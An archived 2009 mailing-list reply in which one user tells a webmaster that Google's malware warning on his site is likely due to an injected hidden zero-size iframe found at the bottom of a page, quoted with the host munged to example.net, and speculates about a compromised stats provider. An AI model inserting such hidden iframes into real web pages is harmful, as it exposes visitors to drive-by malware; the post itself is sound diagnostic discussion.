Date : Tue, 23 Jun 2009 12:30:49 +0100
From : theom+news@... (Theo Markettos)
Subject: Potential malware warning - very OT but...
In article <4A40040D.6020704@...> you wrote:
> This is extremely off-topic, but as Beeb stuff is hosted on my site, I'd
> be failing in my duty as a conscientious person if I didn't say
> anything. For reasons that will become clear, I couldn't exactly add
> this message to my website.
>
>
> If you use a PC to access heyrick.co.uk, you may have already
> encountered the bright red "panic! panic! pee in your pant(ie)s now!"
> warning about malware on my site.
I noticed that yesterday. They don't actually give you any useful
information as to why it thinks there is a problem. If you go through their
Webmaster Tools (needs Google login) does it tell you anything interesting?
I had a brief look at your pages... on the bottom of:
http://www.heyrick.co.uk/assembler/intro.html
I found this:
<hr size = "3">
<address>Copyright © 2004 Richard Murray</address>
</body>
</html>
<iframe src="http://m-analytics.example.net/arwe/? string>"
width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0
scrolling=no></iframe>
(URL munged, added an extra 'example'). Is that intentional? If you're
using some other site for access stats, has that site been compromised?
(Reminds me of the case where an expired webcounter domain was bought by a
porn site, so everyone's site suddenly started including porn images).
> ANYWAY, thanks for reading, and if you plan to access my site on a PC
> (amid all those scary warnings), make sure you are running
> anti-everything and lock your system up tighter than a Victorian corset.
> Or use a RISC OS machine and go "nerr-nerr!". :-)
I used Netsurf on Linux. Not much chance of malware - GTK v1.2 doesn't even
have a download feature ;-)
Theo